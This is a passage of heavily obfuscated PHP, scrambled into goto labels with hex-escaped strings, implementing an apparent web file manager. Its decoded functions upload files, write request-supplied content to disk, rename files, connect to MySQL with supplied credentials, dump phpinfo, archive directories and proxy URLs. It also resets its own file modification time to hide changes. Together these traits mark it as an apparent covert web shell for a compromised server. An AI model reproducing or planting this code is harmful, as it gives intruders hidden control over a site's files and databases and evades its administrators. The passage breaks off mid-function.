z5v8P: goto VP2Xc; goto h5IlV; jgAzS: goto TXzec; goto aEO2X; VN5xD: goto z_ydL; goto x0Ovz; VIe9p: goto AxCAi; goto sYQk9; mYYmZ: DcHX7: goto RGJUA; Pmkf5: goto swHCV; goto HH0CC; VNs10: ESOjr: goto PykYh; t1ohP: p6OjD: goto yw4zn; SD_it: goto Z5rUD; goto b5qov; BC8TF: $rF_A2 .= $BAJIa & 0x100 ? "\162" : "\x2d"; goto TbohZ; Mmmld: xBAIl: goto BcZqf; yWZxm: BVARC: goto BoRBH; o4bkY: VP2Xc: goto Yq1UX; xWECz: $BAJIa = fileperms($jTEOW); goto R21cO; JaRS8: ChV_5: goto RHgi4; iOpNX: goto KvTP5; goto de2GS; l8tnA: $rF_A2 = "\x75"; goto dnDxA; tn6K4: goto DVp00; goto a5IyH; hGsX9: goto VP2Xc; goto rKM79; aEO2X: NNgeU: goto VZOnX; Wmhm1: goto FbeWZ; goto XgKhQ; N2WmW: goto tbExj; goto lYb6Z; Hgq7o: goto dtDMR; goto mZb09; pEcQ3: $rF_A2 .= $BAJIa & 0x1 ? $BAJIa & 0x200 ? "\x74" : "\170" : ($BAJIa & 0x200 ? "\124" : "\x2d"); goto tn6K4; Zn8k9: goto FSFun; goto UeI4d; bpnQ7: goto kbwQB; goto pjLji; XBIGl: $rF_A2 .= $BAJIa & 0x2 ? "\167" : "\x2d"; goto dWtkD; pPR40: if (!(($BAJIa & 0x4000) == 0x4000)) { goto p6OjD; } goto ShANr; ECXOX: goto NSZ15; goto Mmmld; hDppJ: $rF_A2 .= $BAJIa & 0x80 ? "\x77" : "\55"; goto VFjFd; G7_Ha: Vs0Z8: goto wNDMo; SkMZ6: xHVYl: goto ToybW; qNgwK: goto NNgeU; goto JVhm8; iHRVw: tbExj: goto uYD6p; cYoNV: goto oh0mU; goto JaRS8; SSqLS: goto xHVYl; goto NQf70; D_j6Z: goto Vs0Z8; goto ck_Yh; VOUA2: PPbxH: goto MYVPd; K2pcD: goto pBlvC; goto CC9Of; P1SVa: goto VP2Xc; goto ECXOX; kK21r: goto CKjdW; goto FoeTh; lYb6Z: FSFun: goto sKqGx; RGJUA: Z5rUD: goto NMvy0; CRioV: mkNLN: goto TZpC2; RHgi4: goto VP2Xc; goto FXMQH; kRjs8: goto VP2Xc; goto SSqLS; mw81H: JlATQ: goto UEGwm; fzQ3l: ra_Mi: goto XBIGl; VFjFd: goto vzEBn; goto SkMZ6; ccalU: TXzec: goto hGsX9; pwXwz: goto xBAIl; goto fzQ3l; rKM79: goto KRWab; goto PVnQd; IYlv5: id5BJ: goto pEcQ3; o7GP_: if (!$Pn1jp) { goto LSwSy; } goto AC3gV; VZOnX: $rF_A2 = "\142"; goto Pmkf5; ZYILp: return $rF_A2; goto Zn8k9; Ddi39: qv9Pu: goto o7AKX; TmgKN: if (!(($BAJIa & 0xa000) == 0xa000)) { goto ebM6J; } goto trfpM; QMbOR: KRWab: goto pP6LS; mZb09: QvK82: goto kp_qI; GfnMz: dtDMR: goto pPR40; PsQBq: $rF_A2 .= $BAJIa & 0x40 ? $BAJIa & 0x800 ? "\x73" : "\170" : ($BAJIa & 0x800 ? "\x53" : "\x2d"); goto N2WmW; pjLji: oCmA0: goto fIi8n; ShANr: goto jhc22; goto t1ohP; F7Zcd: oh0mU: goto z5v8P; iaCGk: goto Etzox; goto iHRVw; DB8Jv: $rF_A2 .= $BAJIa & 0x8 ? $BAJIa & 0x400 ? "\x73" : "\170" : ($BAJIa & 0x400 ? "\x53" : "\55"); goto bfl1K; BoRBH: goto VP2Xc; goto D_j6Z; o7AKX: goto VP2Xc; goto usnHg; IXkBB: goto cH352; goto ccalU; HH0CC: AxCAi: goto sNh4F; NQf70: vzEBn: goto PsQBq; AC3gV: goto hd4Rm; goto TOJxN; wNDMo: CKjdW: goto LtAdz; HoV1W: goto i8ZOv; goto y5oz4; TZpC2: goto c7HzI; goto y0ewK; UeI4d: HFKdZ: goto KTYzp; PykYh: if (!(($BAJIa & 0x8000) == 0x8000)) { goto S1gF7; } goto K2pcD; GWNP6: goto BVARC; goto qBUgi; JVhm8: ZTFdn: goto We9sG; We9sG: $rF_A2 = ''; goto bpnQ7; XgKhQ: DVp00: goto ZYILp; qBUgi: NSZ15: goto gY2jx; pP6LS: v9CSu: goto qNgwK; tDIF7: goto ra_Mi; goto GfnMz; dWtkD: goto id5BJ; goto QMbOR; sFtrf: $rF_A2 .= $BAJIa & 0x10 ? "\x77" : "\55"; goto oDgSA; UEGwm: pBlvC: goto IXkBB; TbohZ: goto xY7or; goto Ddi39; M7BV3: orQ1J: goto Hgq7o; FoeTh: Q53wZ: goto iOpNX; yw4zn: goto oCmA0; goto w1VWU; sNh4F: $rF_A2 = "\x6c"; goto X40TX; dG7Tq: if (!(($BAJIa & 0xc000) == 0xc000)) { goto mkNLN; } goto eI42p; sq4QT: TmRtC: goto XHboQ; cC2jf: x8dQk: goto XcpKE; sKqGx: } goto JpoTU; qbUcF: goto WZLE2; goto jyIp5; T0Ash: echo "\x20\x3c\x2f\x74\x68\x3e\15\12\15\xa\40\40\40\40\x3c\164\150\x20\143\x6f\154\163\x70\x61\156\75\42\64\42\40\x73\164\171\x6c\x65\x3d\42\x77\x68\151\x74\145\55\x73\x70\x61\143\x65\x3a\x6e\x6f\x77\x72\141\160\x22\x3e\x20"; goto OLAAh; PxDtz: y90jB: goto gp8Cr; IBSHF: ByvdJ: goto Rjinm; bvKgJ: I5Kw3: goto SroZ3; gs_uP: cb6n1: goto o6GZo; LXMDE: $O10i3 .= jNgIj("\x45\162\x72\157\162\40\x6f\x63\x63\x75\x72\x72\x65\x64"); goto IAQHq; ne81A: echo "\15\xa\11\x9\40\x20\40\x20\40\40\x20\40\x20\x9\x3c\146\157\x72\x6d\40\156\141\155\145\75\x22\146\x6f\162\x6d\61\x22\40\155\x65\164\150\x6f\144\x3d\x22\160\157\x73\x74\x22\x20\x61\143\164\x69\x6f\x6e\x3d\42"; goto f8ZiH; sMfdy: goto Wq8M3; goto a9Bct; LEm4R: z14bl: goto PV5hm; SZ_XA: goto zcNAn; goto PoOBg; vue7e: $C0tA4 = $_POST["\x66\x6d\137\x63\157\156\x66\151\x67"]; goto JZEJx; a_YLf: $sSFKS = implode("\x2e", $uRU9l); goto zb0s9; UrOuu: splTW: goto xqI5M; wmzft: goto JbOru; goto oaZ6q; LXZSa: goto LHFx1; goto xrWUL; TB979: $A1eqp = filemtime(__FILE__); goto VvjGA; zwyQS: B699t: goto ZF2s7; F3kYo: C1nO3: goto toDEE; MlHVp: dLJsB: goto L8yOa; VuFaW: echo $nguOO; goto a38tb; EGAgd: Sht7S: goto ExfFq; s_MKa: goto SS4dT; goto Z4qFR; QpJ9W: echo "\x20\x7c\40\x3c\141\x20\150\x72\145\146\75\42\x6a\141\166\x61\x73\x63\x72\151\160\164\72\x20\166\x6f\151\x64\x28\60\x29\x22\40\157\x6e\143\154\151\143\x6b\75\42\x76\x61\x72\x20\x6f\x62\x6a\x20\x3d\x20\156\145\x77\x20\x74\x61\142\x6c\145\62\x45\170\143\x65\154\x28\51\x3b\40\157\142\152\56\103\x72\145\x61\164\145\105\x78\x63\x65\154\x53\150\145\x65\x74\x28\x27\x66\155\137\164\141\142\x6c\145\47\x2c\47\145\170\160\157\x72\x74\47\51\x3b\42\x20\164\x69\164\154\x65\x3d\x22" . JNGij("\104\157\x77\156\154\x6f\x61\144") . "\x20\170\x6c\x73\42\76\x78\x6c\163\x3c\x2f\141\x3e"; goto bw9rO; QpTlZ: echo $_REQUEST["\162\x65\156\x61\155\145"]; goto O6Zzq; lh3GZ: tV2Oi: goto iDCva; MNZMU: goto I6Am6; goto OuITW; v4ne1: fNUDR: goto wkW8s; WYQBA: goto ROnHK; goto k5r1M; FMQhm: isn2V: goto yq08k; svk4L: goto pvNnp; goto x760L; M9w4p: awvt6: goto qtObF; xtRd8: $zxGC6 = str_replace("\47", "\x26\x23\x33\71\x3b", json_encode(json_decode($gSlwl), JSON_UNESCAPED_UNICODE)); goto eHmP4; c3AFN: goto vwm0J; goto KUhet; M6hKe: D2KSu: goto putDM; x760L: mX323: goto YTj8I; rvjn7: echo "\x22\x3e\xd\xa\x20\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\xd\12\40\40\40\x20\40\40\x20\40"; goto gtDuN; TYsRi: goto g10bl; goto kDIT4; X6NBT: BTGj9: goto ne81A; k6C63: goto eI9Iw; goto H2DyQ; FAbLR: goto lpbtn; goto BjByN; XRwR6: ln7zR: goto TP7mr; Rxapr: goto YCIob; goto p5oun; G689G: JSRfe: goto JvLGp; dIaM9: HrxSi: goto XUuf8; ItvFs: goto NgWRP; goto Hs9Uu; ZXjMi: oa9hA: goto VNui1; x0X7H: function DOXq1() { global $C0tA4; return new mysqli($C0tA4["\x73\x71\x6c\x5f\163\x65\x72\166\145\x72"], $C0tA4["\x73\x71\154\137\165\163\x65\162\156\x61\x6d\x65"], $C0tA4["\163\x71\154\137\x70\141\163\x73\x77\157\162\x64"], $C0tA4["\163\161\x6c\137\x64\142"]); } goto mqs2d; mRo0F: jkBiD: goto VqTeZ; HQgdo: eoTF9: goto CSe2H; cnPql: goto Fw3fR; goto LBloX; OgxkN: $YJS26 = "\x72\x75"; goto StjG7; E0N0V: kmVPP: goto e38yN; t0C6l: hzIfA: goto kMdXZ; HoIAl: gozAr: goto eO7XA; RRSE4: goto NoW5b; goto pUGRW; t5zMW: goto sYfpm; goto g2xpw; hnciV: goto WdmIO; goto SG3KE; CiNqf: echo Jngij("\103\x61\x6e\143\x65\x6c"); goto lkgK8; Pr9BA: goto fbOxl; goto RPFm0; Ox1qf: echo "\42\x3e\x3c\x62\162\x2f\76\15\xa\x20\40\40\40\40\40\40\40\40\40\40\x20\x3c\x69\156\160\165\164\x20\x74\x79\x70\x65\75\42\163\x75\142\155\x69\x74\42\40\156\141\155\x65\75\42\163\141\166\145\x22\40\166\141\x6c\165\145\x3d\x22"; goto mXGUg; a5ser: nY25z: goto Qkv38; afVAO: goto FRtzC; goto V2hLI; hsb1D: echo $VLMCB; goto UhaEW; iYHPs: goto HhEH1; goto Bhe1R; AD70U: goto RhKlN; goto d1vZQ; NU_Hf: goto Ohtuf; goto AqbiY; HLuzn: goto QcxaF; goto CaTBH; ydGpG: goto FDQ6c; goto aqnPM; Q2KPr: g_3vD: goto BMisL; QXFGp: WbpEQ: goto ke4eJ; BM2oO: goto TmFx7; goto IdLUJ; zpsOP: goto OdkYQ; goto UWzJy; RNDA6: goto HS3XN; goto JetJf; VojnV: LshH_: goto Bn0CL; WCk5m: goto M08h9; goto S0kW5; hCjzt: XQyLe: goto bccKR; v2ysD: ROnHK: goto iW3ZI; gVHRY: goto Q00er; goto IKdt0; orQSp: NnfQL: goto g0KIJ; aGoCr: NWGYy: goto a_k8Z; wJNno: goto phoT5; goto nJEM3; VVVmb: echo "\x3c\57\x74\150\76\xd\12\15\12\x3c\x2f\x74\x72\76\15\12"; goto qlvlT; fuyqE: kqYTn: goto AX8TO; CvAtJ: goto leHb1; goto VwFrn; ZtPnv: duZLB: goto p6KMB; TVtzj: $O10i3 .= jNgij("\x43\x72\145\141\x74\x65\144") . "\40" . $_REQUEST["\x66\x69\154\x65\x6e\141\x6d\x65"]; goto xIdoB; nJEM3: NFrG5: goto IuEBq; uF4xn: nepN2: goto GK05W; Ijokv: ww0k2: goto gOJUM; JpoTU: goto tn9xI; goto zeBc0; U0GMh: N4Pyc: goto g79A9; mtk1z: goto M3e8P; goto v6yLa; kRYxp: goto egaWh; goto OqPeK; k5r1M: Q00er: goto YDfrM; vVETq: goto zf7T9; goto DMG8C; SeFzn: $wdJBd = $GjkCm . "\56\164\x61\162"; goto O_giI; AgyFs: phpinfo(); goto ZMLdG; WGkpL: goto NFyWC; goto PQIUW; TD_3L: echo JNGij("\x53\165\142\x6d\151\x74"); goto TYsRi; CIYx4: yvxRr: goto fuyqE; xrWUL: goto PIWSb; goto aVzQO; NZDvo: goto x7U0W; goto ZXjMi; FfY9s: goto sCq4Q; goto zL7QW; wY5s9: function mXis7($u2ao2, $gq91c = true) { goto X1ZXG; takt_: eq9xL: goto npq08; ScLxv: saqLZ: goto k3rZI; EEIGX: goto XXO4V; goto mMg33; E_e4s: goto Q0qa7; goto kIjwk; lqOuX: Lz825: goto PVhSV; nBDPS: qp8XL: goto wLy48; oD705: return round($h8LP2 / (1024 * 1024 * 1024 * 1024 * 1024), 2) . "\x26\x6e\x62\x73\x70\73\120\x62"; goto xqrTT; frcQq: goto aj6MC; goto kG8_2; yAD9T: wn3Vx: goto mQaCM; M3va4: fITWL: goto nBDPS; xNcCD: goto z1U1z; goto z1PpZ; JCyyR: zobn1: goto BPatO; k_ckL: goto lmdLG; goto lebsD; o733e: kI10X: goto xPyYP; z1PpZ: goto T37AS; goto gV2gU; aJANO: W8W84: goto hPaYk; ZgiEk: goto yYrV1; goto P8mNe; vpRWU: goto qYH11; goto EJX7h; C2Nli: aNUwF: goto a5132; Hj1BG: OnGkg: goto WcGqI; EJX7h: rLt1W: goto ZgiEk; MnYSu: goto qp8XL; goto KZdcT; kG8_2: aj6MC: goto EEvKa; c3nVk: DT0Iy: goto yQM87; gvV97: goto z1U1z; goto PIaRy; pRRkU: bd4cT: goto TEHxs; f8H8Z: n2l32: goto BVVmb; cBhOE: bjUv5: goto takt_; ATtPF: kOVYB: goto rHa2o; rTGap: goto j_K3q; goto C2Nli; x_W5B: j_K3q: goto pf9tI; C_LeT: if (!($h8LP2 <= 1024 * 1024 * 1024 * 1024)) { goto rLt1W; } goto vpRWU; XHSzr: goto aNUwF; goto ATtPF; g3NWd: return round($h8LP2 / (1024 * 1024 * 1024 * 1024), 2) . "\46\156\x62\163\x70\73\124\142"; goto jLuVg; uLSG6: emW2M: goto tBM5_; v9JAH: goto Qs6YH; goto ar07e; NQ0oh: goto z1U1z; goto rTGap; KZdcT: dDZMN: goto WULra; GvdyR: goto iEFm5; goto bN03Q; KVLBO: GnBfB: goto zzqp3; siXoW: rkERF: goto VvSvE; bcGT4: BpKXC: goto wtgTR; xqrTT: goto aXc3w; goto eYFJu; cjnri: erj_7: goto mF1fK; FsNGh: goto tC6IM; goto JgCLd; Z634t: tC6IM: goto GfvGC; rfm45: goto HcZcV; goto cBhOE; uy4lY: W0A37: goto J_ugk; mQaCM: goto l3u7S; goto G7QUm; ZIaSt: goto fITWL; goto Pvnqt; jeWj2: goto kOVYB; goto JCyyR; UyJyL: Ak3t4: goto jR1E4; wDl7W: Vqdmy: goto mYU6Z; zzqp3: goto Vqdmy; goto uLSG6; wKfaY: srMkM: goto oJm7R; xPyYP: if (!$gq91c) { goto BlZXo; } goto oK0oe; J_ugk: $h8LP2 += mxis7($u2ao2 . "\x2f" . $jTEOW, false); goto WfHXW; EEvKa: goto z1U1z; goto zvCbt; EHlqA: if (!($h8LP2 <= 1024 * 1024 * 1024)) { goto dDZMN; } goto MnYSu; mF1fK: closedir($H6Edu); goto gjkyk; tBM5_: return round($h8LP2 / 1024, 2) . "\46\156\142\163\160\73\x4b\142"; goto ij743; jLuVg: goto WctFU; goto RVzhG; npq08: goto NC05W; goto pTIsU; wCnMh: goto W0A37; goto rxZ3D; pTIsU: iEFm5: goto lqOuX; hPaYk: return round($h8LP2 / (1024 * 1024), 2) . "\x26\156\x62\163\160\73\x4d\x62"; goto sm9__; NxS7l: kCQDl: goto wCnMh; dFhh7: ENMQT: goto Wea6K; BVVmb: Mr0GF: goto rfm45; jR1E4: goto erj_7; goto c3nVk; aaEps: aXc3w: goto NQ0oh; mYU6Z: if (!($h8LP2 <= 1024 * 1024)) { goto wn3Vx; } goto PBZQ2; a5132: $H6Edu = opendir($u2ao2); goto FZhw6; TIEA2: return $h8LP2 . "\40\142\x79\164\145\163"; goto frcQq; RRt2T: goto z1U1z; goto ZIaSt; WULra: goto O0VwN; goto siXoW; FZhw6: goto BpKXC; goto x_W5B; BUDi5: if (!($h8LP2 <= 1024)) { goto GnBfB; } goto xYInH; C4bNN: ywJbV: goto K82yx; HUKQH: goto srMkM; goto f8H8Z; B9txw: sDGVE: goto VeOOe; GMUsV: Wl8OG: goto RRt2T; AphHQ: HcZcV: goto g3NWd; ij743: goto Wl8OG; goto ScLxv; Fl1Bk: goto x8mM6; goto IWdhS; RgMlf: shNZ8: goto tAwYa; ZyLXl: o_8YN: goto BUDi5; oJm7R: if (($jTEOW = readdir($H6Edu)) !== false) { goto ENMQT; } goto P2820; Pvnqt: JYzkN: goto gvV97; P7_mf: xo9f4: goto wGvpM; Hbkn2: TKgPa: goto TIEA2; w1DV9: VvP9T: goto k_ckL; Y3BSw: p9Iq2: goto PfMps; eYFJu: O0VwN: goto C_LeT; bnmOr: goto Lz825; goto NxS7l; kMO0g: goto emW2M; goto Y3BSw; IWdhS: jEa1I: goto Hj1BG; X1ZXG: goto kI10X; goto P7_mf; BPatO: return G1bwn($u2ao2); goto hf_3N; wGvpM: H4xsM: goto BG3_n; Wea6K: goto xx5jN; goto o733e; tAwYa: goto ikYk9; goto sSBTK; Ni980: goto VvP9T; goto d8YMF; wLy48: goto W8W84; goto bcGT4; rHa2o: if (!is_file($u2ao2 . "\x2f" . $jTEOW)) { goto kCQDl; } goto bnmOr; PVhSV: goto KwDuJ; goto Z634t; kIjwk: jKnBN: goto fNMCM; k3rZI: Q0qa7: goto jeWj2; A24Pn: FlC_B: goto EEIGX; P2820: goto Ak3t4; goto dFhh7; PIaRy: goto n2l32; goto aaEps; F3vvu: goto JYzkN; goto wDl7W; wLZJC: z1U1z: goto v9JAH; rtzDf: if (!($h8LP2 <= 1024 * 1024 * 1024 * 1024 * 1024)) { goto shNZ8; } goto uJNCY; N4I2x: yYrV1: goto rtzDf; ezqz0: lmdLG: goto PKo4h; K82yx: return $h8LP2 + g1BWn($u2ao2); goto Ni980; gV2gU: x8mM6: goto Wwk4w; WfHXW: goto p9Iq2; goto N4I2x; wD8ee: ikYk9: goto oD705; dy81A: goto OnGkg; goto pRRkU; lebsD: goto xo9f4; goto aJANO; P8mNe: KwDuJ: goto kCt4l; yQM87: $h8LP2 = mxis7($u2ao2, false); goto E2V1I; sm9__: goto n38ts; goto AphHQ; zvCbt: goto rkERF; goto uy4lY; kCt4l: $h8LP2 += G1bWN($u2ao2 . "\57" . $jTEOW); goto emAl3; Wwk4w: if (is_file($u2ao2)) { goto bd4cT; } goto dy81A; sSBTK: n38ts: goto xNcCD; wtgTR: XXO4V: goto HUKQH; RVzhG: NC05W: goto u5Smy; mMg33: goto saqLZ; goto M3va4; PBZQ2: goto dRfc1; goto yAD9T; BG3_n: goto DT0Iy; goto wKfaY; fNMCM: goto FlC_B; goto cjnri; WeAAn: BlZXo: goto Fl1Bk; GfvGC: return round($h8LP2 / (1024 * 1024 * 1024), 2) . "\46\156\x62\x73\x70\x3b\x47\x62"; goto F3vvu; u5Smy: goto XXO4V; goto ftfn3; JgCLd: WctFU: goto wLZJC; RKyqt: T37AS: goto y9elw; G7QUm: Qs6YH: goto ezqz0; rxZ3D: xx5jN: goto lnJGI; TEHxs: goto zobn1; goto B9txw; bN03Q: kHOrY: goto Z_h3x; Z_h3x: $h8LP2 = 0; goto XHSzr; emAl3: goto bjUv5; goto C4bNN; WcGqI: goto kHOrY; goto GMUsV; PfMps: goto eq9xL; goto GvdyR; VvSvE: dRfc1: goto kMO0g; xYInH: goto mDt3z; goto KVLBO; uJNCY: goto Mr0GF; goto RgMlf; pf9tI: mDt3z: goto ZZKwF; ftfn3: goto BA3OB; goto ZyLXl; d8YMF: l3u7S: goto EHlqA; lnJGI: if ($jTEOW == "\x2e" || $jTEOW == "\56\x2e") { goto jKnBN; } goto E_e4s; ar07e: BA3OB: goto UyJyL; PKo4h: goto sDGVE; goto Hbkn2; gjkyk: goto ywJbV; goto w1DV9; oK0oe: goto H4xsM; goto WeAAn; y9elw: qYH11: goto FsNGh; ZZKwF: goto TKgPa; goto wD8ee; hf_3N: goto jEa1I; goto RKyqt; E2V1I: goto o_8YN; goto A24Pn; VeOOe: } goto Lq50x; X9Lxk: goto YY5mN; goto XRwR6; g2Yi_: M08h9: goto TGWr2; QM1Jt: x7U0W: goto zA3OV; j6Sol: goto rUNbL; goto RsaYn; NUldq: FDQ6c: goto PU0Tk; w0871: iIMCD: goto Amch0; gKSjW: $b0bjX = str_replace("\x7b\42" . $F3M0G[1] . "\x22\175", $dBo10, $lpHQQ); goto drojR; Bo_xz: goto va0Ef; goto jesPS; rHl66: goto nRPxX; goto HidR7; vkafd: KT1qe: goto B2MEe; hj8yD: goto kqYTn; goto jvpzz; cGbHI: goto dEszK; goto Xxlxj; nH4vF: goto P_c5J; goto lVQeq; X9Qfh: goto mjpNf; goto fTK9E; XuMf2: echo $MLp6z; goto DXT24; f5RkB: $O10i3 .= JNGiJ("\106\x69\154\145\x20\x75\160\144\141\x74\145\144"); goto y3iTU; DLGGF: goto CBPbR; goto tr0cX; ivHB8: $W5Q_F->compress(Phar::GZ, $sSFKS . "\x2e\164\x61\x72\x2e\147\172"); goto rUYnM; Rh5CX: $O10i3 .= JngIJ("\105\162\x72\x6f\162\40\x6f\x63\x63\x75\x72\x72\x65\144"); goto ZyLl6; XkdCe: NNJDg: goto lOUd1; VNui1: if (move_uploaded_file($_FILES["\165\x70\x6c\x6f\141\x64"]["\164\x6d\160\x5f\x6e\141\x6d\x65"], $VLMCB . $_FILES["\x75\x70\x6c\x6f\141\144"]["\156\x61\155\145"])) { goto JYdtS; } goto vVETq; IJYod: Jiyii: goto Qaz3M; L5TdQ: VQGWv: goto SeFzn; AmS3S: M9hgy: goto RIqa_; aFaec: GwbDc: goto xTtRk; ImReV: goto Ni0gX; goto pMKmc; GXuWB: goto ojrpS; goto f4nGO; qwQzH: JVa0k: goto isxfL; BEp6h: goto qXvnF; goto BNdJW; G4B6u: gZ0xk: goto EDthW; hMTtW: goto nsnLx; goto fg7E3; wkW8s: echo "\42\40\x73\x69\x7a\145\75\42\x35\42\76\15\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\xd\12\11\11\40\40\40\40\x20\40\x20\40\40\x9\x9\40\x20\40\40\x20\40\x20\40\40\x3c\151\x6e\x70\165\x74\x20\164\x79\x70\x65\75\42\163\x75\142\155\x69\164\x22\x20\x6e\x61\155\x65\75\42\x73\x65\141\x72\x63\x68\x22\x20\166\x61\154\165\x65\75\x22"; goto KyiyK; W_92d: olj2q: goto ZQDdX; VBCP9: cHdrO: goto wCQaA; wRxyQ: goto ez2VP; goto NMM5L; R9QG2: goto YE0RY; goto z_lZe; k6cwR: $_POST["\146\155\137\154\x6f\x67\151\156"] = array("\141\165\164\150\x6f\x72\151\172\x65" => "\60") + $_POST["\x66\x6d\137\x6c\x6f\x67\x69\x6e"]; goto uKOKM; eszp2: goto sAkPr; goto kHdu0; zTWq5: if (!file_put_contents($br2Yn, $_REQUEST["\156\145\167\x63\x6f\156\164\145\156\x74"])) { goto wmm0b; } goto hsW1M; NHk1p: touch(__FILE__, $A1eqp); goto plxYm; DivBA: tSZ6V: goto GVxAc; EYOj8: $_COOKIE["\x66\x6d\137\143\x6f\156\146\x69\x67"] = serialize($C0tA4); goto E8HMd; EnRgS: U3wep: goto psNUC; n_W63: echo "\15\xa\74\x74\141\142\x6c\145\x20\143\154\141\x73\x73\75\42\x77\x68\x6f\154\145\x22\x3e\xd\12\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\15\12\x3c\164\x72\76\xd\12\xd\xa\x20\x20\40\x20\74\164\x68\76"; goto wwI8p; fcahS: IjxPf: goto gejDf; kOF9G: LlRXO: goto TB22L; hM5VM: rMn23: goto IEHHk; k9Nrd: Kqd5E: goto lBq4j; zquWn: header("\x4c\157\143\141\x74\x69\157\156\x3a\40" . uGST6() . "\77\x66\155\x5f\x73\145\164\x74\151\x6e\147\163\x3d\x74\162\x75\145"); goto Ew5lf; qFwE1: GSGVo: goto APL9_; pJ6LA: echo AWo5i() . "\40\174\x20\166\x65\x72\x2e\40" . $j2Yhm . "\40\174\x20\74\x61\x20\150\x72\145\x66\75\x22\x68\x74\164\160\x73\x3a\57\x2f\147\151\164\150\165\x62\x2e\x63\x6f\x6d\57\x44\145\x6e\x31\170\170\x78\x2f\x46\151\154\145\x6d\141\156\141\147\x65\x72\42\76\x47\x69\x74\150\165\142\x3c\x2f\x61\76\x20\x20\x7c\40\74\141\40\150\162\x65\146\x3d\42" . euuMg() . "\x22\x3e\56\74\x2f\x61\x3e"; goto BEp6h; uLqIG: goto Lu8yU; goto NKD1M; wxmLo: goto ncu48; goto lYPSY; Vh3El: goto Cvc1o; goto HmUPT; isxfL: goto rZYnH; goto nxQ3N; OuSgE: YYFk6: goto uBZJi; XElAF: Njfo_: goto WNZWc; ravmY: goto Mvayt; goto aUXCp; jpWoN: goto rMn23; goto e4ByM; hVkK5: u6CKm: goto LwC_u; P1vU9: goto AUsv1; goto q14G3; UYxpV: uwl37: goto XNibw; kb2gi: g469p: goto aAgkR; bq4W6: ftoSb: goto brRB5; z6tLl: $O10i3 .= jNGIj("\x45\x72\x72\157\162\40\157\x63\143\x75\x72\162\x65\x64") . "\72\x20" . jnGIJ("\x6e\157\x20\146\x69\154\145\x53\145\164"); goto YIHIH; NgGkj: goto Ed76U; goto Z_S_3; sj7ia: goto f8Cb7; goto tjWUR; r8uVg: $wjXn2 = str_replace("\134", "\57", realpath("\56\57")); goto c6plS; xvJQ1: A_9IP: goto Cuvy9; xhFfZ: if (!empty($ZWyig)) { goto YjOgI; } goto Ai5Oq; r_gMT: goto yvxRr; goto K4jg6; qd_B8: $O10i3 .= JNGiJ("\116\157\164\150\151\x6e\147\x20\x66\157\165\x6e\x64\x65\144"); goto Zhcy7; Mi3kj: goto rekw2; goto aFjtn; Qaz3M: if (empty($_POST["\163\x65\x61\x72\x63\x68\137\162\145\143\x75\x72\x73\151\x76\x65"])) { goto yBz3P; } goto UUml2; g1r3r: $iJSaS = $iJSaS[1] + $iJSaS[0]; goto kg4a2; bm6sM: U8Wax: goto uDmuT; elce7: echo $t1rWQ; goto JUGBi; CaTBH: Uzdiu: goto PQp2q; NsH4O: goto W1F5g; goto LFWUP; ShFBT: echo JNgij("\123\x69\x7a\145"); goto BF83v; yQdhj: Wq8M3: goto mtpHd; VvjGA: goto U6jzC; goto wutnM; hi1JZ: Qx6IM: goto e17uq; raVnC: $lpHQQ = file_get_contents(__FILE__); goto nRw09; bvkeX: EMRRO: goto QpTlZ; ZOa7k: goto BBlxE; goto KBJeI; One9y: wmkjx: goto qaG3n; z_lZe: nRPxX: goto Znwv1; P9IsQ: hf4T3: goto JrvhA; juRQ0: $kSmbA = preg_replace_callback("\43\50\x68\162\145\146\x7c\x73\162\x63\x29\75\x5b\x22\47\x5d\133\x68\164\164\x70\x3a\x2f\57\x5d\x3f\50\133\x5e\72\135\52\x29\133\x22\47\x5d\43\x55\x69", "\146\x6d\137\165\x72\x6c\137\160\162\157\170\171", $kSmbA); goto VBLVF; xOh5w: EdEFB: goto zH3ea; y20GI: goto UcyuD; goto lhOc3; hdmr1: Aoyg_: goto TRpAZ; qZnX0: goto qqLzt; goto WTbBI; K4jg6: cg6gx: goto wPpSr; GH9ui: e7aI4: goto U4nu_; c9NQ7: goto KB93T; goto b_Cql; cvWQK: pbwt4: goto y7CCQ; KmcGe: goto gZM16; goto sn4vS; NyJcc: nuruf: goto AKDJd; fsmwf: rekw2: goto K1m13; kyIlR: MqXZ9: goto mAsEC; iaIEd: goto qizT_; goto Wuj1D; uDmuT: echo "\x20\x7c\40" . jNgIj("\x47\145\x6e\145\162\x61\164\x69\x6f\156\x20\x74\x69\155\x65") . "\72\40" . round($sCE3Z, 2); goto zcUF7; XEIPE: Oezlq: goto oOVec; HInHo: if (!is_file($wdJBd)) { goto MzB13; } goto YP3DP; j46ED: exit(0); goto BFRMF; xIuYi: lHJ02: goto omUI2; BW9PO: wU379: goto PF7tb; qzJjt: goto MGVfC; goto gJ6rc; VwFrn: goto OGDsG; goto By_nA; f4nGO: VlIR3: goto XcrLs; Te25o: goto YZBpl; goto hnlCW; qkmzo: echo "\40"; goto Wq0jq; JPmKo: zBmue: goto G6AC8; ZTLN4: goto hG_tm; goto lZCKq; RXdVc: fuZBs: goto NFPqR; pk0pw: goto rsBBR; goto uee7m; f_AUf: JMZB7: goto VJ87c; JvLGp: function U9X2z($jTEOW, $bmXa1 = false) { goto b8ROU; b8ROU: goto CKQC2; goto yZXH6; lIyA2: saT0d: goto QZgkt; wW4JJ: yzH7G: goto rZz_5; Wg5iH: CKQC2: goto Mc2r7; xzuyZ: IyWMT: goto N962V; aUlqx: oG_7m: goto C6AJD; KFE0t: goto TJJ_s; goto DvjcC; C6AJD: goto ANK0b; goto wW4JJ; r59CX: foreach ($IPJhV as $F0dTR) { goto Ppz1c; Ppz1c: goto QEQu1; goto I8qKI; juRa1: VgVtZ: goto ZGEE1; vusxw: goto FQs0D; goto ZW8ae; I8qKI: QEQu1: goto N1vai; sr3Yo: FQs0D: goto R4yzw; MSOnu: G31JS: goto sr3Yo; zTOYY: Ru_G9: goto Ybl4C; ZGEE1: U9X2z($jTEOW . "\x2f" . $F0dTR, true); goto Ct8Kt; ZW8ae: k3YVw: goto bs9aE; Ct8Kt: goto G31JS; goto LdnRH; KkV55: rBooo: goto k1WLp; bs9aE: goto VgVtZ; goto MSOnu; k1WLp: QuJUV: goto QHh5x; LdnRH: Scnlq: goto zTOYY; 